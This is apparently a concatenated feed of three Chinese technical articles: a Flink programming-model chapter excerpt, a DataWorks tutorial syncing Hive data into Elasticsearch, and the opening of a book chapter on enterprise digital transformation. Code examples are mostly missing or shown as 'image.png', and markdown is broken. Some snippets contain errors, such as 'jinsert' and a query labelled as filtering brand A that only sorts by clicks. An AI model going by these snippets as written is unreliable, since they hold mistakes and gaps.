        Stateful Stream Process API是Flink中处理Stateful Stream最底层的接口,用户可以使用Stateful Stream Process 接口操作状态、时间等底层数据。使用Stream Process API接口开发应用的灵活性非常强,可以实现非常复杂的流式计算逻辑,但是相对用户使用成本也比较高,一般企业在使用Flink进行二次开发或深度封装的时候会用到这层接口。

        3.3 Flink程序结构

        和其他分布式处理引擎一样,Flink应用程序也遵循着一定的编程模式。不管是使用DataStream API还是DataSet API基本具有相同的程序结构,如代码清单3-1所示。通过流式计算的方式实现对文本文件中的单词数量进行统计,然后将结果输出在给定路径中。

        image.png

        整个Flink程序一共分为5步,分别为设定Flink执行环境、创建和加载数据集、对数据集指定转换操作逻辑、指定计算结果输出位置、调用execute方法触发程序执行。对于所有的Flink应用程序基本都含有这5个步骤,下面将详细介绍每个步骤。
        1. Execution Environment
        运行Flink程序的第一步就是获取相应的执行环境,执行环境决定了程序执行在什么环境(例如本地运行环境或者集群运行环境)中。同时不同的运行环境决定了应用的类型,批量处理作业和流式处理作业分别使用的是不同的Execution Environment。例如StreamExecutionEnvironment是用来做流式数据处理环境,ExecutionEnvironment是批量数据处理环境。可以使用三种方式获取Execution Environment,例如StreamExecution-
        Envirenment。

        image.png

        其中第三种方式可以直接从本地代码中创建与远程集群的Flink JobManager的RPC连接,通过指定应用程序所在的Jar包,将运行程序远程拷贝到JobManager节点上,然后将Flink应用程序运行在远程的环境中,本地程序相当于一个客户端。
        和StreamExecutionEnvironment构建过程一样,开发批量应用需要获取Execution-
        Environment来构建批量应用开发环境,如以下代码实例通过调用ExecutionEnvironment的静态方法来获取批计算环境。

        image.png

        针对Scala和Java不同的编程语言环境,Flink分别制定了不同的语言同时分别定义了不同的Execution Environment接口。StreamExecutionEnvironment Scala开发接口在org.apache.flink.streaming.api.scala包中,Java开发接口在org.apache.flink.streaming.api.java包中;ExecutionEnvironment Scala接口在org.apache.flink.api.scala包中,Java开发接口则在org.apache.flink.api.java包中。用户使用不同语言开发Flink应用时需要引入不同环境对应的执行环境。
        2. 初始化数据
        创建完成ExecutionEnvironment后,需要将数据引入到Flink系统中。Execution-Environment提供不同的数据接入接口完成数据的初始化,将外部数据转换成DataStream或DataSet数据集。如以下代码所示,通过调用readTextFile()方法读取file:///pathfile路径中的数据并转换成DataStream数据集。
        val text:DataStream[String] = env.readTextFile("file:///path/file")
        通过读取文件并转换为DataStream[String]数据集,这样就完成了从本地文件到分布式数据集的转换,同时在Flink中提供了多种从外部读取数据的连接器,包括批量和实时的数据连接器,能够将Flink系统和其他第三方系统连接,直接获取外部数据。
        3. 执行转换操作
        数据从外部系统读取并转换成DataStream或者DataSet数据集后,下一步就将对数据集进行各种转换操作。Flink中的Transformation操作都是通过不同的Operator来实现,每个Operator内部通过实现Function接口完成数据处理逻辑的定义。在DataStream API和DataSet API提供了大量的转换算子,例如map、flatMap、filter、keyBy等,用户只需要定义每种算子执行的函数逻辑,然后应用在数据转换操作Dperator接口中即可。如下代码实现了对输入的文本数据集通过FlatMap算子转换成数组,然后过滤非空字段,将每个单词进行统计,得到最后的词频统计结果。

        image.png

        在上述代码中,通过Scala接口处理数据,极大地简化数据处理逻辑的定义,只需要通过传入相应Lambada计算表达式,就能完成Function定义。特殊情况下用户也可以通过实现Function接口来完成定义数据处理逻辑。然后将定义好的Function应用在对应的算子中即可。Flink中定义Funciton的计算逻辑可以通过如下几种方式完成定义。
        (1)通过创建Class实现Funciton接口
        Flink中提供了大量的函数供用户使用,例如以下代码通过定义MyMapFunction Class实现MapFunction接口,然后调用DataStream的map()方法将MyMapFunction实现类传入,完成对实现将数据集中字符串记录转换成大写的数据处理。

        image.png

        (2)通过创建匿名类实现Funciton接口
        除了以上单独定义Class来实现Function接口之处,也可以直接在map()方法中创建匿名实现类的方式定义函数计算逻辑。

        image.png

        (3)通过实现RichFunciton接口
        前面提到的转换操作都实现了Function接口,例如MapFunction和FlatMap-Function接口,在Flink中同时提供了RichFunction接口,主要用于比较高级的数据处理场景,RichFunction接口中有open、close、getRuntimeContext和setRuntimeContext等方法来获取状态,缓存等系统内部数据。和MapFunction相似,RichFunction子类中也有RichMap-Function,如下代码通过实现RichMapFunction定义数据处理逻辑,具体的RichFunction的介绍读者可以参考后续章节中心介绍。

        image.png

        4. 分区Key指定
        在DataStream数据经过不同的算子转换过程中,某些算子需要根据指定的key进行转换,常见的有join、coGroup、groupBy类算子,需要先将DataStream或DataSet数据集转换成对应的KeyedStream和GroupedDataSet,主要目的是将相同key值的数据路由到相同的Pipeline中,然后进行下一步的计算操作。需要注意的是,在Flink中这种操作并不是真正意义上将数据集转换成Key-Value结构,而是一种虚拟的key,目的仅仅是帮助后面的基于Key的算子使用,分区人Key可以通过两种方式指定:
        (1)根据字段位置指定
        在DataStream API中通过keyBy()方法将DataStream数据集根据指定的key转换成重新分区的KeyedStream,如以下代码所示,对数据集按照相同key进行sum()聚合操作。

        image.png
        image.png

        在DataSet API中,如果对数据根据某一条件聚合数据,对数据进行聚合时候,也需要对数据进行重新分区。如以下代码所示,使用DataSet API对数据集根据第一个字段作为GroupBy的key,然后对第二个字段进行求和运算。

        image.png

        (2)根据字段名称指定
        KeyBy和GroupBy的Key除了能够通过字段位置来指定之外,也可以根据字段的名称来指定。使用字段名称需要DataStream中的数据结构类型必须是Tuple类或者POJOs类的。如以下代码所示,通过指定name字段名称来确定groupby的key字段。

        image.png

        如果程序中使用Tuple数据类型,通常情况下字段名称从1开始计算,字段位置索引从0开始计算,以下代码中两种方式是等价的。

        image.png


        如果在Flink中使用嵌套的复杂数据结构,可以通过字段名称指定Key,例如:

        image.png

        通过调用“nested”获取整个NestedClass对象里所有的字段,调用“tag”获取CompelexClass中tag字段,调用“nested.id”获取NestedClass中的id字段,调用“nested.tuple._1”获取NestedClass中tuple元祖的第一个字段。由此可以看出,Flink能够支持在复杂数据结构中灵活地获取字段信息,这也是非 Key-Value的数据结构所具有的优势。
        (3)通过Key选择器指定
        另外一种方式是通过定义Key Selector来选择数据集中的Key,如下代码所示,定义KeySelector,然后复写getKey方法,从Person对象中获取name为指定的Key。

        image.png

        5. 输出结果
        数据集经过转换操作之后,形成最终的结果数据集,一般需要将数据集输出在外部系统中或者输出在控制台之上。在Flink DataStream和DataSet接口中定义了基本的数据输出方法,例如基于文件输出writeAsText(),基于控制台输出print()等。同时Flink在系统中定义了大量的Connector,方便用户和外部系统交互,用户可以直接通过调用addSink()添加输出系统定义的DataSink类算子,这样就能将数据输出到外部系统。以下实例调用DataStream API中的writeAsText()和print()方法将数据集输出在文件和客户端中。

        image.png

        6. 程序触发
        所有的计算逻辑全部操作定义好之后,需要调用ExecutionEnvironment的execute()方法来触发应用程序的执行,其中execute()方法返回的结果类型为JobExecutionResult,里面包含了程序执行的时间和累加器等指标。需要注意的是,execute方法调用会因为应用的类型有所不同,DataStream流式应用需要显性地指定execute()方法运行程序,如果不调用则Flink流式程序不会执行,但对于DataSet API输出算子中已经包含对execute()方法的调用,则不需要显性调用execute()方法,否则会出现程序异常。

        image.png

        3.4 Flink数据类型

        3.4.1 数据类型支持

        Flink支持非常完善的数据类型,数据类型的描述信息都是由TypeInformation定义,比较常用的TypeInformation有BasicTypeInfo、TupleTypeInfo、CaseClassTypeInfo、PojoTypeInfo类等。TypeInformation主要作用是为了在Flink系统内有效地对数据结构类型进行管理,能够在分布式计算过程中对数据的类型进行管理和推断。同时基于对数据的类型信息管理,Flink内部对数据存储也进行了相应的性能优化。Flink能够支持任意的Java或Scala的数据类型,不用像Hadoop中的org.apache.hadoop.io.Writable而实现特定的序列化和反序列化接口,从而让用户能够更加容易使用已有的数据结构类型。另外使用TypeInformation管理数据类型信息,能够在数据处理之前将数据类型推断出来,而不是真正在触发计算后才识别出,这样能够及时有效地避免用户在使用Flink编写应用的过程中的数据类型问题。
        1. 原生数据类型
        Flink通过实现BasicTypeInfo数据类型,能够支持任意Java 原生基本类型(装箱)或 String 类型,例如Integer、String、Double等,如以下代码所示,通过从给定的元素集中创建DataStream数据集。

        image.png

        Flink实现另外一种TypeInfomation是BasicArrayTypeInfo,对应的是Java基本类型数组(装箱)或 String对象的数组,如下代码通过使用Array数组和List集合创建DataStream数据集。

        image.png

        2. Java Tuples类型
        通过定义TupleTypeInfo来描述Tuple类型数据,Flink在Java接口中定义了元祖类(Tuple)供用户使用。Flink Tuples是固定长度固定类型的Java Tuple实现,不支持空值存储。目前支持任意的Flink Java Tuple类型字段数量上限为25,如果字段数量超过上限,可以通过继承Tuple类的方式进行拓展。如下代码所示,创建Tuple数据类型数据集。

        image.png

        3. Scala Case Class类型
        Flink通过实现CaseClassTypeInfo支持任意的Scala Case Class,包括Scala tuples类型,支持的字段数量上限为22,支持通过字段名称和位置索引获取指标,不支持存储空值。如下代码实例所示,定义WordCount Case Class数据类型,然后通过fromElements方法创建input数据集,调用keyBy()方法对数据集根据word字段重新分区。

        image.png

        通过使用Scala Tuple创建DataStream数据集,其他的使用方式和Case Class相似。需要注意的是,如果根据名称获取字段,可以使用Tuple中的默认字段名称。

        image.png

        4. POJOs类型
        POJOs类可以完成复杂数据结构的定义,Flink通过实现PojoTypeInfo来描述任意的POJOs,包括Java 和Scala类。在Flink中使用POJOs类可以通过字段名称获取字段,例如dataStream.join(otherStream).where("name").equalTo("personName"),对于用户做数据处理则非常透明和简单,如代码清单3-2所示。如果在Flink中使用POJOs数据类型,需要遵循以下要求:
        □POJOs 类必须是Public修饰且必须独立定义,不能是内部类;
        □POJOs类中必须含有默认空构造器;
        □POJOs类中所有的Fields必须是Public或者具有Public修饰的getter和setter方法;
        □POJOs类中的字段类型必须是Flink支持的。

        image.png

        定义好POJOs Class后,就可以在Flink环境中使用了,如下代码所示,使用fromElements接口构建Person类的数据集。POJOs类仅支持字段名称指定字段,如代码中通过Person name来指定Keyby字段。

        image.png

        Scala POJOs数据结构定义如下,使用方式与Java POJOs相同。

        image.png

        5. Flink Value类型
        Value数据类型实现了org.apache.flink.types.Value,其中包括read()和write()两个方法完成序列化和反序列化操作,相对于通用的序列化工具会有着比较高效的性能。目前Flink提供了內建的Value类型有IntValue、DoubleValue以及StringValue等,用户可以结合原生数据类型和Value类型使用。
        6. 特殊数据类型
        在Flink中也支持一些比较特殊的数据数据类型,例如Scala中的List、Map、Either、Option、Try数据类型,以及Java中Either数据类型,还有Hadoop的Writable数据类型。如下代码所示,创建Map和List类型数据集。这种数据类型使用场景不是特别广泛,主要原因是数据中的操作相对不像POJOs类那样方便和透明,用户无法根据字段位置或者名称获取字段信息,同时要借助Types Hint帮助Flink推断数据类型信息,关于Tyeps Hmt介绍可以参考下一小节。

        image.png

        3.4.2 TypeInformation信息获取

        通常情况下Flink都能正常进行数据类型推断,并选择合适的serializers以及comparators。但在某些情况下却无法直接做到,例如定义函数时如果使用到了泛型,JVM就会出现类型擦除的问题,使得Flink并不能很容易地获取到数据集中的数据类型信息。同时在Scala API和Java API中,Flink分别使用了不同的方式重构了数据类型信息。
        1. Scala API类型信息
        Scala API通过使用Manifest和类标签,在编译器运行时获取类型信息,即使是在函数定义中使用了泛型,也不会像Java API出现类型擦除的问题,这使得Scala API具有非常精密的类型管理机制。同时在Flink中使用到Scala Macros框架,在编译代码的过程中推断函数输入参数和返回值的类型信息,同时在Flink中注册成TypeInformation以支持上层计算算子使用。
        当使用Scala API开发Flink应用,如果使用到Flink已经通过TypeInformation定义的数据类型,TypeInformation类不会自动创建,而是使用隐式参数的方式引入,代码不会直接抛出编码异常,但是当启动Flink应用程序时就会报”could not find implicit value for evidence parameter of type TypeInformation”的错误。这时需要将TypeInformation类隐式参数引入到当前程序环境中,代码实例如下:
        import org.apache.flink.api.scala._
        2. Java API类型信息
        由于Java的泛型会出现类型擦除问题,Flink通过Java反射机制尽可能重构类型信息,例如使用函数签名以及子类的信息等。同时类型推断在当输出类型依赖于输入参数类型时相对比较容易做到,但是如果函数的输出类型不依赖于输入参数的类型信息,这个时候就需要借助于类型提示(Ctype Himts)来告诉系统函数中传入的参数类型信息和输出参数信息。如代码清单3-3通过在returns方法中传入TypeHint实例指定输出参数类型,帮助Flink系统对输出类型进行数据类型参数的推断和收集。

        image.png

        在使用Java API定义POJOs类型数据时,PojoTypeInformation为POJOs类中的所有字段创建序列化器,对于标准的类型,例如Integer、String、Long等类型是通过Flink自带的序列化器进行数据序列化,对于其他类型数据都是直接调用Kryo序列化工具来进行序列化。
        通常情况下,如果Kryo序列化工具无法对POJOs类序列化时,可以使用Avro对POJOs类进行序列化,如下代码通过在ExecutionConfig中调用enableForceAvro()来开启Avro序列化。

        image.png

        如果用户想使用Kryo序列化工具来序列化POJOs所有字段,则在ExecutionConfig中调用enableForceKryo()来开启Kryo序列化。

        image.png

        如果默认的Kryo序列化类不能序列化POJOs对象,通过调用ExecutionConfig的addDefault-KryoSerializer()方法向Kryo中添加自定义的序列化器。

        image.png

        3. 自定义TypeInformation
        除了使用已有的TypeInformation所定义的数据格式类型之外,用户也可以自定义实现TypeInformation,来满足的不同的数据类型定义需求。Flink提供了可插拔的Type Information Factory让用户将自定义的TypeInformation注册到Flink类型系统中。如下代码所示只需要通过实现org.apache.flink.api.common.typeinfo.TypeInfoFactory接口,返回相应的类型信息。
        □通过@TypeInfo注解创建数据类型,定义CustomTuple数据类型。

        image.png

        □然后定义CustomTypeInfoFactory类继承于TypeInfoFactory,参数类型指定CustomTuple。最后重写createTypeInfo方法,创建的CustomTupleTypeInfo就是CustomTuple数据类型TypeInformation。

        image.png

        3.5 本章小结

        本章对Flink编程中模型进行了介绍,在3.1节中介绍了Flink支持的数据集类型,以及有界数据集合无界数据集之间的关系等。3.2节对Flink编程接口进行了介绍与说明,分别介绍了Flink在不同层面的API及相应的使用,使读者能够从接口层面对Flink有一个比较清晰的认识和了解。在3.3节针对Flink程序结构进行了说明,介绍了在编写Flink程序中遵循的基本模式。最后对Flink中支持的数据结构类型进行介绍,包括使用Java的POJOS对象、原始数据类型等。接下来的章节我们将更加深入地介绍Flink在流式计算和批量计算领域中的对应接口使用方式,让读者对Flink编程有更加深入的掌握和理解。

        ]]>
        【最佳实践】如何运用DataWorks数据同步功能,将Hadoop数据同步到阿里云Elasticsearch上 Fri, 02 May 2025 09:39:04 +0800 简介:

        本文向您详细介绍如何通过DataWorks数据同步功能,将Hadoop数据同步到阿里云Elasticsearch上,并进行搜索分析。

        本文字数:2673
        阅读时间:预计10分钟

        目录

        背景信息

        环境准备
        数据准备
        数据同步
        结果验证
        数据搜索与分析

        以下是正文


        背景信息

        您也可以使用Java代码进行同步,具体请参考通过ES-Hadoop将Hadoop数据写入阿里云Elasticsearch和在E-MapReduce中使用ES-Hadoop

        环境准备

        1. 搭建Hadoop集群。在进行数据同步前,您需要保证自己的Hadoop集群环境正常。本文使用阿里云EMR服务自动化搭建Hadoop集群,详细过程请参见步骤三:创建集群。EMR Hadoop的版本信息如下。
        • EMR版本:EMR-3.11.0
        • 集群类型:HADOOP
        • 软件信息:HAFS2.7.2/YARN2.7.2/Hive2.3.3/Ganglia3.7.2/Spark2.3.1/HUE4.1.0/Zeppelin0.8.0/ Tez0.9.1 / Sqoop1.4.7 / Pig0.14.0 / ApacheDS2.0.0 / Knox0.13.0
        1. Hadoop集群使用VPC网络,区域为华东1(杭州),主实例组ECS计算ziyu 配置公网及内网IP,高可用选择为否(非HA模式),具体配置如下图所示

        image.png

        1. 购买和配置Elasticsearch。登录Elasticsearch控制台,参考购买和配置,购买一个Elasticsearch实例。选择与EMR集群相同的区域和VPC网络配置,如下图所示。

          image.png

        2. 创建DataWorks工作空间。创建DataWorks项目,区域选择华东1区。本文直接使用已经存在的项目bigdata_DOC。
          image.png

        数据准备

        在Hadoop集群中创建测试数据,步骤如下。

        1. 进入EMR控制台界面,单击左侧菜单栏的交互式工作台
        2. 选择文件 > 新建交互式任务
        3. Notebook对话框中,输入交互式任务的名称,选择默认类型以及关联集群,单击确认。本文新建一个名为es_test_hive的交互式任务,默认类型Hive关联集群环境准备中创建的EMR Hadoop集群。

        image.png

        1. 在代码编辑区域中,输入Hive建表语句,单击运行。本文档使用的建表语句如下。
        CREATE TABLE IF NOT
        
        EXISTS hive_esdoc_good_sale(
         create_time timestamp,
         category STRING,
         brand STRING,
         buyer_id STRING,
         trans_num BIGINT,
         trans_amount DOUBLE,
         click_cnt BIGINT
         )
         PARTITIONED BY (pt string) ROW FORMAT
        DELIMITED FIELDS TERMINATED BY ',' lines terminated by 'n'

        表创建成功后,系统会提示Query executed successfully。

        image.png

        1. 单击文件 > 新建段落,在段落编辑区域输入SQL语句,单击运行,插入测试数据。
          image.png

        您可以选择从OSS或其他数据源导入测试数据,也可以手动插入少量的测试数据。本文使用手动插入数据的方法,脚本如下。

        jinsert into
        hive_esdoc_good_sale PARTITION(pt =1 ) values('2018-08-21','外套','品牌A','lilei',3,500.6,7),('2018-08-22','生鲜','品牌B','lilei',1,303,8),('2018-08-22','外套','品牌C','hanmeimei',2,510,2),(2018-08-22,'卫浴','品牌A','hanmeimei',1,442.5,1),('2018-08-22','生鲜','品牌D','hanmeimei',2,234,3),('2018-08-23','外套','品牌B','jimmy',9,2000,7),('2018-08-23','生鲜','品牌A','jimmy',5,45.1,5),('2018-08-23','外套','品牌E','jimmy',5,100.2,4),('2018-08-24','生鲜','品牌G','peiqi',10,5560,7),('2018-08-24','卫浴','品牌F','peiqi',1,445.6,2),('2018-08-24','外套','品牌A','ray',3,777,3),('2018-08-24','卫浴','品牌G','ray',3,122,3),('2018-08-24','外套','品牌C','ray',1,62,7) ;
        1. 使用同样的方式新建段落,并在段落编辑区域输入`js
          • from hive_esdoc_good_sale where pt =1;
        语句,单击**运行**。
        此操作可以检查Hadoop集群表中是否已存在数据可用于同步,运行成功结果如下。
        
        ![image.png](https://ucc.alicdn.com/pic/developer-ecology/8ea1e62da59d42da850f0f8ab2452578.png)
        
        ### 数据同步
        
        
        > **说明
        **
        由于DataWorks项目所处的网络环境与Hadoop集群中的数据节点(Data Node)网络通常不可达,因此您可以通过自定义资源组的方式,将DataWorks的同步任务运行在Hadoop集群的Master节点上(Hadoop集群内Master节点和数据节点通常可达)。
        
        
        1. 查看Hadoop集群的数据节点。
        - 在EMR控制台上,单击左侧菜单栏的集群。
        -  选择您的集群,单击右侧的管理。
        - 在集群管理控制台上,单击左侧菜单栏的主机列表,查看集群master节点和数据节点信息。
        
        ![image.png](https://ucc.alicdn.com/pic/developer-ecology/cfbdeccef47a4511bb2132b39fd44ce2.png)
        
        > **说明
        **
        通常非HA模式的EMR上Hadoop集群的Master节点主机名为emr-header-1,Data Node主机名为emr-worker-X。
        
        - 单击上图中Master节点的ECS ID,进入ECS实例详情页。单击远程连接进入ECS服务器,通过hadoop dfsadmin -report命令查看数据节点信息。
        
        ![image.png](https://ucc.alicdn.com/pic/developer-ecology/b9e6ba7733d0483bbb082bc09bf3061d.png)
        
        
        2. 新建自定义资源组。
        
        - 进入DataWorks的**数据集成**页面,选择**资源组** > **新增资源组**。
        ![image.png](https://ucc.alicdn.com/pic/developer-ecology/7dbd54d52e3b40d1b5d3d3426db7b4ba.png)
        关于自定义资源组的详细信息请参见[新增任务资源](https://help.aliyun.com/document_detail/72979.html?spm=a2c4g.11186623.2.31.341d491ecP7i8I#concept-wfz-j45-q2b)。
        
        - 根据界面提示,输入资源组名称和服务器信息。此服务器为您EMR集群的Master节点,服务器信息说明如下。
        ![image.png](https://ucc.alicdn.com/pic/developer-ecology/cd02fb0498eb4207b76babf76baacfba.png)
        ​
         ![image.png](https://ucc.alicdn.com/pic/developer-ecology/17ccc71e656d405aa3f5d31cbcf00b94.png)
        
        
        
        
        > **注意 **完成添加服务器后,您需要保证Master Node与DataWorks网络可达。
        - 如果您使用的是ECS服务器,需设置服务器的安全组。
        - 如果您使用的内网IP互通,需要[添加安全组。](https://help.aliyun.com/document_detail/72978.html?spm=a2c4g.11186623.2.33.341d491ecP7i8I#concept-ec4-cj5-q2b)
        - 如果您使用的是公网IP,可直接设置安全组公网出入方向规则。
        由于本文档的EMR集群使用的是VPC网络,且与DataWorks在同一区域下,因此不需要进行安全组设置。  
        
        - 按照提示安装自定义资源组Agent。
        
        > **注意**:由于本文使用的是VPC网络类型,因此不需开通8000端口。  
        
        观察到当前状态为**可用**时,说明新增自定义资源组成功。如果状态为不可用,您可以登录Master Node,使用```js
        tail –f/home/admin/alisatasknode/logs/heartbeat.log
        命```  
        令查看DataWorks与Master Node之间心跳报文是否超时。
        
        ![image.png](https://ucc.alicdn.com/pic/developer-ecology/e9537ee6ae4048a0828867a6d5c232a4.png)
        
        3. 新建数据源
        - 在DataWorks的数据集成页面,单击**数据源**>**新增数据源**,在弹框中选择**HDFS**类型的数据源
        ![image.png](https://ucc.alicdn.com/pic/developer-ecology/ed40f8ee2f9049d4929e81b5aa007784.png)
        
        - 在**新增HDFS**数据源页面中,填写**数据源名称**和**defaultFS。**
        ![image.png](https://ucc.alicdn.com/pic/developer-ecology/db89e0e4832347f791158a3a03aecced.png)
        
        
        > 注意 对于EMR Hadoop集群而言,如果Hadoop集群为非HA集群,则此处地址为```js
        hdfs://emr-header-1的IP:9000
        。```  
        如果Hadoop集群为HA集群,则此处地址为```js
        hdfs://emr-header-1的IP:8020
        。```  
        在本文中,emr-header-1与DataWorks通过VPC网络连接,因此此处填写内网IP,且不支持连通性测试。  
        
        4. 配置数据同步任务。
        a. 在DataWorks数据集成页面,单击左侧菜单栏的**同步任务**,选择**新建** > **脚本模式**。
        b. 在**导入模板**对话框中,选择数据源类型如下,单击**确认**。
        ![image.png](https://ucc.alicdn.com/pic/developer-ecology/f8c22f4f6d484e62b29fd1d5b6359b7e.png)
        c. 完成导入模板后,同步任务会转入[脚本模式](https://help.aliyun.com/document_detail/74304.html?spm=a2c4g.11186623.2.38.341d491ecP7i8I#concept-olb-drc-p2b),本文中配置脚本如下,相关解释请参见脚本模式配置,Elasticsearch的配置规则请参考[配置Elasticsearch Writer。](https://help.aliyun.com/document_detail/74362.html?spm=a2c4g.11186623.2.39.341d491ecP7i8I#concept-okj-c24-q2b)
        ![image.png](https://ucc.alicdn.com/pic/developer-ecology/dea407d18bd84b948a4e4e7efbac333e.png)
        - 同步脚本的配置分为三个部分,Reader用来配置您上游数据源(待同步数据的云产品)的config,Writer用来配置 Elasticsearch的config,setting用来配置同步中的一些丢包和最大并发等。
        - path为数据在Hadoop集群中存放的位置,您可以在登录master node后,```js
        使用hdfs dfs –ls /user/hive/warehouse/hive_esdoc_good_sale
        命```  
        令确认。对于分区表,您可以不指定分区,DataWorks数据同步会自动递归到分区路径。
        - 由于Elasticsearch不支持timestamp类型,本文档将**creat_time**字段的类型设置为string。
        - **endpoint**为Elasticsearch 的内网或外网地址。如果您使用的是内网地址,请在Elasticsearch的集群配置页面,配置Elasticsearch的系统白名单。如果您是用的是外网地址,请在Elasticsearch的网络配置页面,配置 Elasticsearch的公网地址访问白名单(包括DataWorks服务器的IP地址和您所使用的资源组的IP地址)。
        - Elasticsearch Writer中**accessId**和**accessKey**需要配置您的Elasticsearch的访问用户名(默认为elastic)和密码。
        - **index**为Elasticsearch实例的索引,您需要使用该索引名称访问Elasticsearch的数据。
        - 在创建同步任务时,DataWorks的默认配置脚本中,**errorLimit**的**record**字段值为0,您需要将其修改为大一些的数值,比如1000。
        
        d. 完成配置后,单击页面右侧的**配置任务资源组**,选择您创建的资源组名称,完成后单击**运行**。如果提示**任务运行成功**,则说明同步任务已完成。如果运行失败,可通过复制日志进行进一步排查。
        
        ### 结果验证
        
        1. 进入[Elasticsearch控制台](https://elasticsearch.console.aliyun.com/?spm=a2c4g.11186623.2.41.341d491ecP7i8I),单击实例名称>可视化控制,在Kibana区域中,单击右下角进入控制台。
        2. 输入用户名和密码,单击登录进入kibana控制台,选择Dev Tools。
        3. 在**Console**控制台中,执行如下命令,查看已经同步过来的数据

        POST /hive_doc_esgood_sale/_search?pretty
        {
        "query": { "match_all": {}}
        }

        
        
        ```hive_doc_esgood_sale```  为您同步数据时,设置的index字段的值。
        
        
        ![image.png](https://ucc.alicdn.com/pic/developer-ecology/be8ec07abb164909a9c9ff89417e7bfb.png)
        
        
        
        ### 数据搜索与分析
        1. 在**Console**控制台中,执行如下命令,返回品牌为A的所有文档。
        

        POST /hive_doc_esgood_sale/_search?pretty
        {
        "query": { "match_all": {} },
        "sort": { "click_cnt": { "order": "desc" } },
        "_source": ["category", "brand","click_cnt"]
        }

        ![image.png](https://ucc.alicdn.com/pic/developer-ecology/2de8fea7eeb34011a26e7f729b98baeb.png)
        2. 在**Console**控制台中,执行如下命令,按照**点击次数**进行排序,判断各品牌产品的热度。

        POST /hive_doc_esgood_sale/_search?pretty
        {
        "query": { "match_all": {} },
        "sort": { "click_cnt": { "order": "desc" } },
        "_source": ["category", "brand","click_cnt"]
        }
        `
        image.png

        更多命令和访问方式,请参见阿里云Elasticsearch官方文档Elastic.co官方帮助中心

        加入我们

        加入《Elasticsearch中文技术社区》,与更多开发者探讨交流

        8.jpeg


        订阅《阿里云Elasticsearch技术交流期刊》每月定期为大家推送相关干货

        9.png


        2019年阿里云云栖大会上,Elasticsearch背后的商业公司Elastic与阿里云Elasticsearch确定战略合作升级,在100%兼容开源的基础上,完成了ELK的完整生态云上闭环,欢迎开通使用。
        点击了解更多产品信息 ]]>
        带你读《中台战略:中台建设与数字商业》之二:企业数字化转型 Fri, 02 May 2025 09:39:04 +0800 点击查看前言
        点击查看第二章
        点击查看第三章
        第1章

        企业数字化转型

        数字经济是当前所有企业在数字化时代都要考虑的问题,不久的将来它会成为社会经济中的新引擎,也会逐步推动产业互联和企业商业生态的数字化转型。
        消费者对于产品与服务的升级需求带动着各类触点场景和产品延伸服务的不断变化,云计算、大数据、人工智能等新一代信息技术,在触达客户、创新服务体验的同时推动整个产业链的变革,也在不断颠覆原有的商业模式、产业协作模式。在此背景下,企业数字化转型势在必行,数字中台也必将成为企业数字化转型的重要支点。
        数字中台是基于大数据、云计算、人工智能的技术架构打造的数字化创新平台,支撑企业数字业务应用的标准化及快速定制化,实现数据驱动的精细化运营,沉淀企业的数据资产,为企业提供用户个性画像、商品智能推荐、业务在线监控,解决企业业务在面向产业互联、生态发展过程中所遇到的应变与响应能力问题。
        本章将回答在数字经济时代,当数字化成为企业的核心战略时,摆在企业决策者面前的下面这三个问题:
        1)企业所处行业的数字驱动力是什么?
        2)哪些路径可以让企业走上成功的数字化之路?
        3)如何抓取企业数字化的本质?

        1.1 企业数字化转型的4个驱动力

        在政府鼓励产业数字化生态链发展的大背景下,数字技术商业化的价值也逐渐凸显,各行业的龙头企业都在积极开展数字化转型。
        首先,数字技术被中国消费者广泛接受,迫使各行业在服务市场和消费者时必须具备数字化能力,特别是电商、媒体和金融行业的数字场景化已呈现多样化、个性化、商业创新等特点,在各行业中占据领先地位。其次,贴近消费者的行业,如快消品、地产、汽车、医药、文娱教育等也随之跟进,这些行业同样在线上营销、智慧零售、广告投放等业务领域具有较高的数字化水平。而传统制造型行业,特别是本地化或相对分散的行业,由于行业特征、产品形态、商业模式等原因,技术与业务的数字化管理较弱,这意味着这些企业未来的数字化发展空间很大。因此在不同行业、不同阶段要定义符合数字经济发展环境下企业自身的目标。但无论目标是什么,数字技术的引入都将是不可逆转的趋势。
        企业数字化转型的根本动力还是来自整个商业环境的变化:首先,业务创新是企业在不断变化的商业场景中立于竞争优势地位的必备能力;其次,中台技术是实现业务创新的基础保障,它提供数字经济时代用技术解决商业领域未知问题的支撑能力;再次,产业互联是未来数字世界中企业产业上下游的数字经营模式,正是因为数字技术的发展,才得以将整个产业链的资源进行互联,提升资源共享能力;最后,生态运营,最终都是在解决消费者、渠道等生态业务的平台运营问题,通过技术和数据的连接,更高效地解决内外部资源的整合运营能力。综上,企业数字化转型受4个驱动力影响,它们之间相互作用、相互影响,在整个商业环境中,拉力和推力互为驱动,如图1-1所示。
        image.png

        图1-1 企业数字化转型的4个驱动力

        1.1.1 驱动力一:业务创新

        企业数字化转型既有内在动因,也有外力驱动。内在动因是企业的市场份额下降、产品滞销、渠道成本过高,外力驱动包括消费者的个性化需求、竞争对手的精准市场投放、跨界领域的产业互联颠覆原有的商业逻辑等。
        在数字经济环境下随时可以看到新的技术创新、业务创新、产品创新、场景创新带来的弯道超车、行业颠覆,这预示着不论是数字原生企业,还是数字化转型企业,都必须具备创新能力。而这个创新能力是全方位、体系化、平台化的,包含组织创新、产品创新、业务创新、服务创新、模式创新、技术创新、场景创新等。
        举个例子,原来企业活动的大体流程是:市场部经过市场调研做出策划案,找广告主进行广告推广,或找地推人员对商品和品牌进行地面推广。通过地推可覆盖企业周边3公里半径的区域,一般需要10个地推人员,可能要持续1个月的时间。而现在企业可以随时开启秒杀、团购、抢红包活动,而且是线上线下同时开展的,持续时间只有1分钟、1个小时或1天,只需要1个运营人员,还可以实时在线监控活动的过程。但是这种方式就是用户需求导向的。
        就这么一个简单的场景变化,需要企业打破原有的组织壁垒进行高效协作,实现扁平化,这是组织创新;需要技术部门提供稳定、安全、不卡顿的购物体验技术,这是技术创新;需要市场部门针对不同用户、不同区域、不同品类进行更精准营销,这是业务创新;……
        传统企业利用原有的技术平台根本无法具备这类创新业务要求的业务在线不停机的处理能力,也无法应对秒级数十万用户的高并发压力,云计算、中台等新技术可支撑创新模式的重构,用已知的先进技术不断解决未知的创新问题,使整个生意模型都会发生改变。

        1.1.2 驱动力二:中台技术

